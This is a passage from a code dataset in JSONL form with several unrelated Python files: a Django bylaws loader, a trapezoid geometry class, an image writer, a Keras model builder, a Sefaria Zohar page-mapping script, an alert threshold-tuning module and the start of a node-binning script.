Article.objects.create(\n parent=section,\n number=6,\n body=\"Miscellaneous funds can be allocated throughout the year. Such allocations must follow the procedures outlined in the Constitution.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=7,\n body=\"ASHMC will review all budget requests received before the budget meeting in light of the policies listed above.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=8,\n body=\"The Student Council shall not appropriate money to be spent on itself unless it is necessary for the proper functioning of the Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=9,\n body=\"ASHMC shall maintain a sample organization charter and funding request form to be distributed upon request. These forms will serve as an example of ASHMC standards in sponsoring organizations.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=10,\n body=\"All organization funding requests must be accompanied by an organization charter and tabulated budget conforming to ASHMC standards.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=11,\n body=\"All HMC clubs or organizations not specifically created in the ASHMC Constitution or Bylaws is required to work on a reimbursement basis. Clubs or organizations created in the ASHMC Constitution or Bylaws must work on a reimbursement basis if they do not have a bank account specifically for that group.\",\n )\n section = Article.objects.create(\n parent=article,\n number=10,\n body=\"Procedure for Receiving ASHMC Funding\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"A budget request for funding during the next academic year, including and up to date audit (where necessary) and charter, must be submitted to the ASHMC treasurer before ASHMC budgeting. It is the responsibility of the requesting organization to find out when the budget meeting is. The audit, charter and budget request must conform to ASHMC standards must be submitted to the ASHMC treasurer by the budget meeting.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The treasurer shall notify every requesting organization of the amount allocated to them.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"In order to receive allocated funds, an officer of the receiving organization must submit a check request to the ASHMC Treasurer.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"Funding may be received in one of three ways\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"One-half of the total amount allocated each semester.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Total allotment second semester.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"With two-thirds ASHMC Council approval, total allotment first semester.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"The treasurer will forward the check within a reasonable amount of time to the requesting officer.\",\n )\n section = Article.objects.create(\n parent=article,\n number=11,\n body=\"ASHMC, for the purpose of reporting tax details, will be structured on a fiscal year which begins on May 1 and ends on April 30.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=9,\n title=\"Room Draw Procedure\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"Room draw policy is to be decided by the Dormitory Affairs Committee and announced to the student body before the start of spring vacation.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"The Dormitory Affairs Committee chair and the people appointed by him/her shall run room draw as soon as possible.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"ASHMC members who do not pull into a room during room draw may choose to declare themselves affiliated with a dormitory, becoming a full member of that dormitory.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=10,\n title=\"Publications\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"An ASHMC-funded publication is defined as any publication whose only source of funding in part or in full from a student government is ASHMC. Funding of any publication must conform to Article VIII of the Bylaws.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"Any publication which is to be funded by ASHMC must have a designated editor in chief who is solely responsible for the publication's content in accordance with the provisions given below. The editor in chief shall act as the official representative of the publication in all matters, specifically with any publishing company, with the provisions given below. The editor in chief is to be designated according to:\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\" Written procedures set forth in the charter of the publishing organization in the case of a student organization, or\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The ASHMC Bylaws in the case of an official ASHMC publication.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n title=\"Yearbook\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The cost of the publication must not exceed reasonable limits to be set by the Student Council as part of the budgeting process. Such limits may be revised by the Student Council at the request of the editor in chief of the yearbook.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Any contract made with a publisher is to be made between the Associated Students of Harvey Mudd College and the publishing company. The representative of ASHMC who shall be responsible for executing the terms of the contract pertaining to ASHMC shall be the editor in chief of the yearbook. Any contract made with a publisher must be approved by the Student Council. The contract should include the following three provisions:\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The editor in chief has total responsibility for the content of the Yearbook. Any revisions which the publisher wishes to make must be submitted to the editor in chief for review. If, after review, the publisher makes changes contrary to the recommendations of the editor-in-chief, the publisher must notify the editor in chief of the changes and state their reasons for doing so in writing. The editor in chief is the only individual with the right to officially authorize publication of any part of the yearbook on the behalf of ASHMC.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"No contract shall be made for more than one year. At the end of each one year contract, the Student Council shall meet with the editor in chief and decide whether to renew the contract, to draw up a new contract, or to enter into a contract with a different publisher.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The Associated Students of Harvey Mudd College, in making a contract with a publisher and producing a yearbook to be published, are acting strictly on their own behalf. They are not acting as representatives of Harvey Mudd College nor is the publication or any part therein meant to represent Harvey Mudd College. The use of the name \\\"Harvey Mudd College\\\" or any reference thereto is not intended to be an official representation of the college nor is it meant to imply any endorsement from the college itself or from any member of the Harvey Mudd College faculty, administration, or board of trustees.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"The yearbook editor shall make monthly reports of progress toward publication of the yearbook to the President. These reports shall include contract milestones met since the last report, due dates occurring since the last report and whether they were satisfied, and similar such events set to occur in the two months thereafter. Progress with respect to due dates and milestones shall be included in such reports, in terms of pages submitted or other appropriate measure.\",\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n body=\"It is recommended that these guidelines be reviewed periodically to insure that any changes in a student opinion, the ASHMC Constitution and Bylaws, the relationship with a publisher, or any other pertinent event be taken into account and provided for.\",\n )\n\npost_syncdb.connect(create_bylaws, dispatch_uid=\"legal_canonical_bylaws\")\n","sub_path":"ASHMC/legal/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":99981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"454277417","text":"\"\"\"Module for Point.\"\"\"\nfrom Drawables.randoms import *\nfrom Drawables.Drawable import Drawable\nfrom Drawables.Quad import Quadrilateral\nfrom math import degrees, pi, radians, sin\nimport numpy as np\n\nclass Trapezoid(Quadrilateral):\n \"\"\"Base class of Trapezoid.\"\"\"\n\n _parallelogram:str=\"parallelogram\"\n def __init__(self):\n \"\"\"Class constructor.\"\"\"\n super().__init__()\n\n @classmethod\n def fromPoints(cls, listOfPoint: list):\n \"\"\"Build trapezoid from provided points.\"\"\"\n if len(listOfPoint) != 4:\n raise ValueError(\n \"ValueError:\\tThe Polygon can't even be \"+\n \"constructed as a quadrilateral.\"\n )\n new = Quadrilateral()\n new.setPolygon(listOfPoint)\n return cls.checkClass(new)\n\n @classmethod\n def fromLines(cls, listOfLine: list):\n \"\"\"Build trapezoid from provided lines.\"\"\"\n points = cls.edgeToVertex(listOfLine)\n return cls.fromPoints(points)\n\n @classmethod\n def fromTrapezoid(cls, trap):\n \"\"\"Copy from another trapezoid.\"\"\"\n if isinstance(trap, cls):\n new = type(trap)()\n new.vertices = cls.newVertices(trap.vertices)\n new.size = trap.size\n new.clockwise = trap.clockwise\n return new\n raise TypeError(\n \"TypeError:\\tExpected Trapezoid, \"+\n f\"received {type(trap).__name__}\"\n )\n\n @classmethod\n def fromMetrics(\n cls, line=..., angle1:float=...,\n angle2:float=..., height:float=...\n ):\n \"\"\"Draws a trapezoid from some metrics: a base(or its length and angle), internal angles at its ends, and height.\"\"\"\n from Drawables.Line import Line\n from Drawables.Point import Point\n a,b=...,...\n if not isinstance(angle1, (float, int)):\n angle1 = randomAngle180()\n if not isinstance(angle2, (float, int)):\n angle2 = randomAngle180()\n if isinstance(line, Line):\n a, b = line.start, line.end\n else:\n a= Point.default()\n if isinstance(line, (float, int)):\n b = Point.fromMetrics(\n angle=randomAngleFull(),\n distance=line, point=a\n )\n else:\n b = Point.default()\n angle = a.angleTo(b)\n if not isinstance(height, (float, int)):\n d = Point.fromMetrics(angle1+angle, 1, a)\n c = Point.fromMetrics(pi-angle2+angle, 1, b)\n h = (a.lineToPoint(d)).intersectionWith(b.lineToPoint(c)).distanceTo(a.lineToPoint(b))\n height = randomRange(1,h-1) * 0.9\n d = Point.fromMetrics(angle1+angle, height / sin(angle1), a)\n c = Point.fromMetrics(pi-angle2+angle, height / sin(angle2), b)\n return cls.fromPoints([a,b,c,d])\n\n @classmethod\n def default(cls, ):\n \"\"\"Build a random trapezoid.\"\"\"\n return cls.fromMetrics()\n\n\n # Helpers.\n @staticmethod\n def checkClass(trap:Quadrilateral):\n \"\"\"Check if trapezoid can be constructed.\"\"\"\n new = trap.checkSubClass()\n if isinstance(new, Trapezoid):\n return new\n raise ValueError(\n \"ValueError:\\tThe Quadrilateral can't \"+\n \"be constructed as a trapezoid.\"\n )\n","sub_path":"Drawables/Trapezoid.py","file_name":"Trapezoid.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"269991626","text":"import numpy as np\nimport skimage\nimport skimage.io\nimport os\n\ndef imwrite(img, filename, gamma = 2.2, normalize = False):\n directory = os.path.dirname(filename)\n if directory != '' and not os.path.exists(directory):\n os.makedirs(directory)\n\n if not isinstance(img, np.ndarray):\n img = img.numpy()\n if normalize:\n img_rng = np.max(img) - np.min(img)\n if img_rng > 0:\n img = (img - np.min(img)) / img_rng\n img = np.clip(img, 0.0, 1.0)\n if img.ndim==2:\n #repeat along the third dimension\n img=np.expand_dims(img,2)\n img[:, :, :3] = np.power(img[:, :, :3], 1.0/gamma)\n skimage.io.imsave(filename, (img * 255).astype(np.uint8))","sub_path":"pydiffvg_tensorflow/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"457773704","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\nBuild convnet architecture.\n\nCreated on Thu Oct 26 14:57:02 2017\n\n@author: vlado\n\"\"\"\n\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.layers import GlobalAveragePooling2D, Dense\n\ndef build_net(arch, nr_classes, weights_path=None, trainable=True):\n # Build a convnet model\n \n if arch == 'vgg': \n from tensorflow.keras.applications.vgg16 import VGG16\n base_net = VGG16(include_top=False, \n weights='imagenet', \n input_shape=(256, 256, 3))\n elif arch == 'resnet': \n from tensorflow.keras.applications.resnet50 import ResNet50\n base_net = ResNet50(include_top=False, \n weights='imagenet',\n input_shape=(256, 256, 3))\n elif arch =='inception_v3':\n from tensorflow.keras.applications.inception_v3 import InceptionV3\n base_net = InceptionV3(include_top=False,\n weights='imagenet',\n input_shape=(256, 256, 3))\n else:\n raise NotImplementedError('Valid architectures are: vgg, resnet, inception_v3!')\n \n if weights_path is not None:\n base_net.load_weights(weights_path)\n\n if not trainable:\n for l in base_net.layers:\n l.trainable = False\n\n inp = base_net.input\n fea = base_net.output\n fea = GlobalAveragePooling2D()(fea)\n pred = Dense(nr_classes, activation='softmax')(fea)\n classifier = Model(inp, pred)\n \n return classifier\n","sub_path":"service/finetune/build_net.py","file_name":"build_net.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"222530644","text":"import re\nimport copy\nimport requests\nimport json\nfrom collections import OrderedDict\nimport django\ndjango.setup()\nfrom sefaria.model import *\nfrom sources.functions import getGematria, post_index\nfrom sefaria.utils.talmud import section_to_daf\nfrom sefaria.utils.hebrew import encode_hebrew_daf\n\ndef missings(nums):\n if nums:\n return set(range(min(nums), max(nums)+1)) - set(nums)\n\nindex = library.get_index('Zohar TNG')\n# index.versionState().refresh()\noldbook = book = None\nparashot = {}\nrefs = {}\nrjson = []\nfor segment in Ref('Zohar TNG').all_segment_refs():\n if segment.sections[1:] == [1, 1]:\n oldbook = book = None\n text = segment.text('he').text\n if segment == Ref('Zohar TNG.19.3.1'):\n book = oldbook = 'saba'\n # if segment == Ref('Zohar TNG.38.1.1'):\n # book = oldbook = 'idra raba'\n if segment == Ref('Zohar TNG.40.12.1'):\n book = oldbook = 'rav metivta'\n if segment in [Ref('Zohar TNG.44.61.8'), Ref('Zohar TNG.44.88.1'), Ref('Zohar TNG.37.18.1')]:\n book = oldbook = 'raya'\n elif segment in [Ref('Zohar TNG.20.12.25'), Ref('Zohar TNG.34.12.5'), Ref('Zohar TNG.2.47.6')]:\n book = oldbook = None\n\n for closed in re.findall('\\(([^)]*)\\)', text):\n if closed.startswith('דף '):\n continue\n\n if 'רעיא מהימנא' in closed and not any(word in closed for word in ['עד כאן', 'ע\"כ', 'ע\"ד']):\n book = 'raya'\n elif 'רזא דרזין' in closed:\n book = 'raza'\n elif closed in ['סתרי תורה', 'סתרי - תורה', 'גליון'] and not any(word in closed for word in ['עד כאן', 'ע\"כ', 'ע\"ד']):\n book = 'sitrei'\n elif 'תוספתא' in closed and not any(word in closed for word in ['עד כאן', 'ע\"כ', 'ע\"ד']):\n book = 'tosefta'\n elif 'אידרא דמשכנא' in closed:\n book = 'idra demishkena'\n elif 'מדרש הנעלם' in closed and not any(word in closed for word in ['עד כאן', 'ע\"כ', 'ע\"ד']):\n book = 'neelam'\n elif any(word in closed for word in ['עד כאן', 'ע\"כ', 'ע\"ד', 'עכ\"מ']) and closed not in ['עד כאן ד\"א']:\n refs[segment] = book\n book = None\n else:\n continue\n if book and oldbook:\n print('new book before ad kan of previous', text, segment)\n if not book and not oldbook:\n print('ad kan without starting', text)\n oldbook = book\n\n if segment not in refs:\n refs[segment] = book\n\npage = 0\nrefsdaf = {}\nfor i, parasha in enumerate(Ref('Zohar TNG').all_subrefs(), 1):\n parashot[i] = {'guf': OrderedDict()}\n for segment in parasha.all_segment_refs():\n if segment.sections[1:] == [1, 1]:\n oldbook = 'guf'\n refsdaf[segment] = []\n text = segment.text('he').text\n book = refs[segment]\n book = book if book else 'guf'\n\n dapim = re.findall('\\((דף [^)]*)\\)', text)\n if dapim:\n if re.sub('\\(.*?\\)|\\(|\\)', '', re.split('\\((דף [^)]*)\\)', text)[0]).strip():\n if book in parashot[i] and parashot[i][book]:\n if page in parashot[i][book]:\n parashot[i][book][page].append(segment)\n else:\n parashot[i][book][page] = [segment]\n else:\n parashot[i][book] = OrderedDict({page: [segment]})\n for closed in dapim:\n if not re.search('^דף [\"\\'א-ת]{,4} ע\"[אב]', closed):\n print('problem with daf', segment, closed)\n continue\n daf, amud = re.findall('^דף ([\"\\'א-ת]{,4}) ע\"([אב])', closed)[0]\n page = getGematria(daf) * 2 - 2 + getGematria(amud)\n if book in parashot[i] and parashot[i][book]:\n if page < next(reversed(parashot[i][book])):\n print(f'problem with pages. page {page} in {book} in {segment} comes after {next(reversed(parashot[i][book]))}')\n if page in parashot[i][book]:\n parashot[i][book][page].append(segment)\n else:\n parashot[i][book][page] = [segment]\n else:\n parashot[i][book] = OrderedDict({page: [segment]})\n if re.sub('\\(.*?\\)|\\(|\\)' ,'', text.split(closed)[0]).strip():\n refsdaf[segment].append(oldpage)\n oldpage = page\n elif book != oldbook:\n if book in parashot[i]:\n if page in parashot[i][book]:\n parashot[i][book][page].append(segment)\n else:\n parashot[i][book][page] = [segment]\n\n else:\n parashot[i][book] = OrderedDict({page: [segment]})\n else:\n if page in parashot[i][book]:\n parashot[i][book][page].append(segment)\n else:\n parashot[i][book][page] = [segment]\n oldbook = book\n refsdaf[segment].append(page)\n rjson.append({'ref': segment.normal(), 'book': book, 'page': page})\n\nfor parasha in parashot:\n if not parashot[parasha]['guf']:\n parashot[parasha].pop('guf')\n\nfor parasha in parashot:\n allm = missings([x for y in parashot[parasha] for x in parashot[parasha][y]])\n if allm:\n print(f'missings in {parasha}:', allm)\n gufm = missings(parashot[parasha].get('guf'))\n if gufm:\n print(f'missings in {parasha} in guf:', gufm)\n\nbook = 'guf'\ndaf = '0'\nfor segment in refs:\n if refs[segment] != book:\n book = refs[segment]\n else:\n if refsdaf[segment][0] - daf not in [0, 1]:\n print(f'in {segment} going from {daf} to {refsdaf[segment][0]}')\n daf = refsdaf[segment][0]\n for d in refsdaf[segment][1:]:\n if d - daf not in [0, 1]:\n print(f'in {segment} going from {daf} to {d}')\n daf = d\n\nbook = 'guf'\npage = 0\nfor segment in refs:\n vs = [v for v in segment.version_list() if 'Sulam' in v['versionTitle']]\n if len(vs) != 1:\n if len(vs) == 0: continue\n print('number of version is not 1', segment)\n tc = segment.text('he', vtitle=vs[0]['versionTitle'])\n text = tc.text\n for daf in re.findall(''):\n hebdaf = '(דף ' + encode_hebrew_daf(daf).replace('.', ' ע\"א').replace(':', ' ע\"ב') + ')'\n text = text.replace(f'', hebdaf)\n for ref in re.findall('\\(דף [^)]*\\)', text):\n daf, amud = re.findall('^\\(דף ([\"\\'א-ת]{,4}) ע\"([אב])', ref)[0]\n newpage = getGematria(daf) * 2 - 2 + getGematria(amud)\n if page != newpage:\n text = re.sub(f'{re.escape(ref)} *', f'', text)\n if refs[segment] != book:\n if newpage - page == 0:\n print('redundant page', segment)\n book = refs[segment]\n page = newpage\n else:\n text = re.sub(re.escape(ref), f'', text)\n tc.text = text\n # tc.save(force_save=True)\n\ndef combine_ref(refs):\n if len(refs) == 1:\n return refs[0].normal()\n return Ref(f'{refs[0]}-{refs[-1].normal().replace(\"Zohar TNG\", \"\")}').normal()\n\ndef set_skip(nums, node):\n rang = range(min(nums), max(nums) + 1)\n rate = len(nums) / len(rang)\n if rate < .5:\n node['addresses'] = list(nums)\n elif rate < 1:\n node['skipped_addresses'] = [x for x in rang if x not in nums]\n\ndef make_node(i, book):\n nums = parashot[i][book]\n print(11111, nums)\n node = {'nodeType': 'ArrayMapNode', 'depth': 1, 'addressTypes': ['Talmud'], 'sectionNames': ['Daf']}\n node['startingAddress'] = section_to_daf(min(nums))\n node['refs'] = [combine_ref(parashot[i][book][page]) for page in parashot[i][book]]\n node['wholeRef'] = combine_ref([ref for page in parashot[i][book] for ref in parashot[i][book][page]])\n set_skip(nums, node)\n print(22222, node)\n return node\n\n\ndef alt_pages(i, node):\n book_dict = {'guf': ('גוף הזהר', 'Body'),\n 'sitrei': ('סתרי תורה', 'Sitrei Torah'),\n 'neelam': ('מדרש הנעלם', \"Midrash HaNe'elam\"),\n 'tosefta': ('תוספתא', 'Tosefta'),\n 'raza': ('רזא דרזין', 'Raza DeRazin'),\n 'saba': ('סבא דמשפטים', 'Saba DeMishpatim'),\n 'yenuka': ('ינוקא', 'Yenuka'),\n 'rav metivta': ('רב מתיבתא', 'Rav Metivta'),\n 'idra demishkena': ('אדרא דמשכנא', 'Idra DeMishkena'),\n 'raya': ('רעיא מהימנא', \"Ra'ya Mehemna\")}\n books = [x for x in parashot[i]]\n if books == ['guf']:\n newnode = make_node(i, books.pop())\n newnode['titles'] = node['titles']\n else:\n newnode = {'titles': node['titles'], 'nodes': []}\n for book in book_dict:\n if book in books:\n subnode = make_node(i, book)\n if book == 'guf':\n subnode['default'] = True\n else:\n subnode['titles'] = [{'lang': 'en', 'primary': True, 'text': book_dict[book][1]},\n {'lang': 'he', 'primary': True, 'text': book_dict[book][0]}]\n newnode['nodes'].append(subnode)\n return newnode\n\nnodes = []\ni = 1\nalts = copy.deepcopy(index.alt_structs['Paragraph'])\nboo = False\nfor chumash, _ in enumerate(alts['nodes']):\n if i == 1:\n alts['nodes'][chumash] = alt_pages(i, alts['nodes'][chumash])\n i += 1\n else:\n for parasha, _ in enumerate(alts['nodes'][chumash]['nodes']):\n alts['nodes'][chumash]['nodes'][parasha] = alt_pages(i, alts['nodes'][chumash]['nodes'][parasha])\n i += 1\n\nserver = 'http://localhost:9000'\nindex = requests.get('http://localhost:9000/api/v2/raw/index/Zohar_TNG').json()\nindex['alt_structs']['Pages'] = alts\npost_index(index, server=server)\n\nwith open('sulam_map.json', 'w') as fp:\n json.dump(rjson, fp)\n","sub_path":"sources/new_zohar/sulam_pages.py","file_name":"sulam_pages.py","file_ext":"py","file_size_in_byte":10231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"311419307","text":"\nimport math\nfrom pyspark.sql.functions import col, udf, when, lit\nimport pandas as pd\nimport numpy as np\n# import matplotlib.pyplot as plt\n\nclass ThresholdTuning(object):\n def __init__(self,spark= None, dataframe= None, MaxMisclassification_tolerence=0.05, expected_FalseAlertReduction = 0.4,buckets=10, MaxMisclassification_tolerence_local = None, NeedComputation = True, regulater_factor=0.0001,Target= None ,Probability = 'Prediction_Prob_1', prediction_col = 'prediction', recall_limit= 0.75):\n self.df= dataframe\n self.prediction_col = prediction_col\n self.df= self.df.filter((col(self.prediction_col)==0) | (col(self.prediction_col)==1))\n self.df= self.df.dropna()\n self.MaxMisclassification_tolerence = MaxMisclassification_tolerence\n self.expected_FalseAlertReduction = expected_FalseAlertReduction\n self.buckets = buckets\n self.MaxMisclassification_tolerence_local = MaxMisclassification_tolerence_local\n self.NeedComputation = NeedComputation\n self.regulater_factor = regulater_factor\n self.Target= Target\n self.Probability= Probability\n self.spark= spark\n self.recall_limit= recall_limit\n #Data_Processing\n self.df_new = self.df.select(self.Target, self.Probability)\n self.df_new.rdd.getNumPartitions()\n self.df_new = self.df_new.repartition(1)\n self.df_new.rdd.getNumPartitions()\n y_test= [i[0] for i in self.df_new.select(self.Target).collect()]\n list_pro= [i[0] for i in self.df_new.select(self.Probability).collect()]\n self.Probs_1 = np.array(list_pro)\n self.True_Alert_labels = np.array(y_test)\n \n #L1_Threshold_Parameters:\n self.bad_recall_list = []\n self.local_bad_recall_list = []\n self.pre_local_bad_recall = 0\n self.best_threshold = 0\n self.total_accum = 0\n self.L1_Thresholds = []\n self.L2_Thresholds = []\n \n #L2_Threshold_Parameters:\n self.good_recall_ctotal = 0\n self.total_accum2 = 0\n self.previous_bucket_recall = 0\n self.Recalls_bucket_reverse= {}\n self.Local_recall_reverse = []\n\n def get_ProbThrehold_byBadRateDistribution(self):\n '''\n :param Probs_1: probability array for label 1 (True alert)\n :param True_Alert_labels: the array of True labels\n :param MaxfMisclassification_tolerence: the max tolerence of misclarification, which depends on the probability threhold for\n defining true or false alert\n :param expected_FalseAlertReduction: the expected or wished False Alert Reduction\n :param buckets: num of probability bins\n :param MaxfMisclassification_tolerence_local: the local max tolerence of misclarification\n :param NeedComputation: handy parameter\n :param regulater_factor: avoid the denominator = 0\n :return: the threshold defined\n Here good = Non Issue (False) Alert, bad = True Alert\n '''\n assert len(self.Probs_1)==len(self.True_Alert_labels)\n assert len(self.Probs_1)>=self.buckets\n Total_TrueAlerts = sum(self.True_Alert_labels)\n Total_FalseAlerts = len(self.True_Alert_labels) - Total_TrueAlerts\n print ('Total_TrueAlerts--{}' .format(Total_TrueAlerts))\n expected_FalseAlertReduction_number = self.expected_FalseAlertReduction * Total_FalseAlerts\n MaxMisclassification_tolerence_number = self.MaxMisclassification_tolerence*Total_TrueAlerts\n '''\n baseline_badRecall: e.g. 40% reduction, with 2.8% misclassification. \n then For the L1, the good bad ratio = 2.8%*totalTrueAlert / (40%*totalFalseAlerts+2.8%*totalTrueAlert)\n '''\n if self.MaxMisclassification_tolerence_local is None:\n baseline_badRecall = expected_FalseAlertReduction_number/(MaxMisclassification_tolerence_number+expected_FalseAlertReduction_number)\n self.MaxMisclassification_tolerence_local = baseline_badRecall\n print ('MaxMisclassification_tolerence_local : {}' .format(self.MaxMisclassification_tolerence_local))\n Probs_1_sorted = sorted(self.Probs_1)\n length_prob = len(Probs_1_sorted)\n bucket_indexes = [(float(i)/self.buckets)*length_prob for i in range(self.buckets+1)]\n bucket_indexes[-1] = length_prob-1\n prob_cutOffs = [Probs_1_sorted[int(i)] for i in bucket_indexes]\n print (prob_cutOffs)\n \n #L1-Thresholding:\n for c_lower, c_upper in zip(prob_cutOffs[:-1], prob_cutOffs[1:]):\n indexes = (self.Probs_1>=c_lower) & (self.Probs_1=self.MaxMisclassification_tolerence:\n '''\n the accurate_bad_recall can not exceed the max tolerence \n Monitor the good/bad ratio, aiming to find a optimal point by its distribution comparing against \n the overal expected ratio\n '''\n print ('condition 1')\n self.best_threshold = c_lower\n MisclassificationRate = accumulate_bad_recall-bad_recall_c\n total_reduction = self.total_accum - len(Labels_c)\n self.NeedComputation = False\n\n elif local_bad_recall_delta>self.MaxMisclassification_tolerence_local:\n print ('condition 2')\n self.best_threshold = c_lower\n MisclassificationRate = accumulate_bad_recall-bad_recall_c\n total_reduction = self.total_accum - len(Labels_c)\n self.NeedComputation = False\n print ('Result ------\\n')\n print ('Best_L1_Threshold : {}' .format(self.best_threshold))\n print ('MissclassificationRate : {}'.format(MisclassificationRate))\n print ('Total Reduction : {}'.format(float(total_reduction)/length_prob))\n# plt.plot(prob_cutOffs[:-1], self.local_bad_recall_list,label='local_bad_recall')\n# plt.axvline(self.best_threshold, label='threshold', c='r')\n# plt.xticks(np.round(prob_cutOffs, 3))\n# plt.ylabel('percentage')\n# plt.legend()\n\n #L2_Thresholding:\n prob_cutOffsr = prob_cutOffs\n prob_cutOffsr.reverse()\n for c_lower, c_upper in zip(prob_cutOffsr[1:], prob_cutOffsr[:-1]):\n indexes = (self.Probs_1>=c_lower) & (self.Probs_1 self.previous_bucket_recall) or (overall_recall < self.recall_limit):\n if (overall_recall < self.recall_limit):\n print ('Condition1')\n L3 = c_upper\n break\n elif (overall_recall < self.recall_limit*self.previous_bucket_recall):\n print ('Condition2')\n L3 = c_upper\n elif (overall_recall > self.previous_bucket_recall):\n print ('Condition3')\n L3 = c_lower\n self.previous_bucket_recall = overall_recall\n if overall_recall> self.recall_limit:\n print ('The overall recall is always greater than the given recall limit')\n print ('Taking the immediate bucket as the L3 threshold')\n prob_cutOffs.sort()\n L3 = [i for i in prob_cutOffs if i > self.best_threshold][0]\n print (L3)\n if (L3 == max(prob_cutOffsr)) or (L3<= self.best_threshold):\n print ('Hard Constraints')\n L3= min(self.Recalls_bucket_reverse[max(self.Recalls_bucket_reverse)])\n print ('L2_Threshold : {}' .format(L3))\n print ('L1_Threshold : {}' .format(self.best_threshold))\n # plt.axvline(L3, label='threshold', c='r')\n # plt.show()\n # self.L1_Thresholds.append(round(self.best_threshold, 2))\n # self.L2_Thresholds.append(round(L3,2))\n self.L1_Thresholds.append(self.best_threshold)\n self.L2_Thresholds.append(L3)\n #Creating DataFrame\n print (self.L1_Thresholds, self.L2_Thresholds)\n dataset = pd.DataFrame({'L1-Threshold':self.L1_Thresholds,'L2-Threshold':self.L2_Thresholds})\n df_threshold = self.spark.createDataFrame(dataset)\n# plt.axvline(L3, label='threshold', c='r')\n\n\n return df_threshold\n\n\nclass statistics(object):\n def __init__(self, spark=None, train_df=None, test_df=None, target=None, fraction=0.75):\n self.train_df = train_df\n self.test_df = test_df\n self.target = target\n self.fraction = fraction\n self.one_s = []\n self.zero_s = []\n\n def statistics_df(self):\n print ('The train dataset target varibale counts are as:')\n self.train_df.groupBy(self.target).count().show()\n train_df1 = self.train_df.groupBy(self.target).count().rdd.collectAsMap()\n s = sum(train_df1.values())\n for k, v in train_df1.items():\n pct = v * 100.0 / s\n print(k, pct)\n if k == 0:\n self.zero_s.append(pct)\n else:\n self.one_s.append(pct)\n\n print ('The test dataset target varibale counts are as:')\n self.test_df.groupBy(self.target).count().show()\n test_df1 = self.test_df.groupBy(self.target).count().rdd.collectAsMap()\n s = sum(test_df1.values())\n for k, v in test_df1.items():\n pct = v * 100.0 / s\n print(k, pct)\n if k == 0:\n self.zero_s.append(pct)\n else:\n self.one_s.append(pct)\n print ('The whole dataset target varibale counts are as:')\n # df.groupBy(target).count().show()\n print (\"Target 0's % in whole data {}\".format(sum(self.zero_s) / 2))\n print (\"Target 1's % in whole data {}\".format(sum(self.one_s) / 2))\n\n # sampled_train = df_train.sampleBy(target, fractions={0:sum(zero_s)/200 , 1:self.fraction}, seed=0)\n # sampled_test = df_test.sampleBy(target, fractions={0:sum(zero_s)/200 , 1:self.fraction}, seed=0)\n # fractions = df.select(target).distinct().withColumn(\"fraction\", lit(0.6)).rdd.collectAsMap()\n # print('fractions is {}'.format(fractions))\n # seed = random.randint(1, 100)\n # sampled_df = df.stat.sampleBy(target, fractions, seed)\n # sampled_df.groupBy(target).count().show()\n # test_df = df.exceptAll(sampled_df)\n # test_df.groupBy(target).count().show()\n\n return self.train_df, self.test_df\n\n","sub_path":"tm_thresholding.py","file_name":"tm_thresholding.py","file_ext":"py","file_size_in_byte":11928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"526733700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 11 19:17:44 2016\n\n@author: shengliangdai\n\"\"\"\n\n'''\nREADME\n\nNode Binning:\nThe goal for this function is to separate out high and low-degree nodes.\n\nInput:\n the list of genes in the network\n the matrix created with the function degreeMatrix.py\nOutput:\n three lists (or sets) of genes: high, med, low\n \nTo run the code \nSet threshold for high, low degrees (thresholdHigh, threshholdLow)\nMatrix should have the format [Genes, All degree, GO_term, ...]\n'''\n\nimport sys\nimport numpy as np\nimport pandas as pd\n\ndef nodeBining(thresholdHigh, thresholdLow, infile):\n outname = 'nodeBining.txt'\n path = 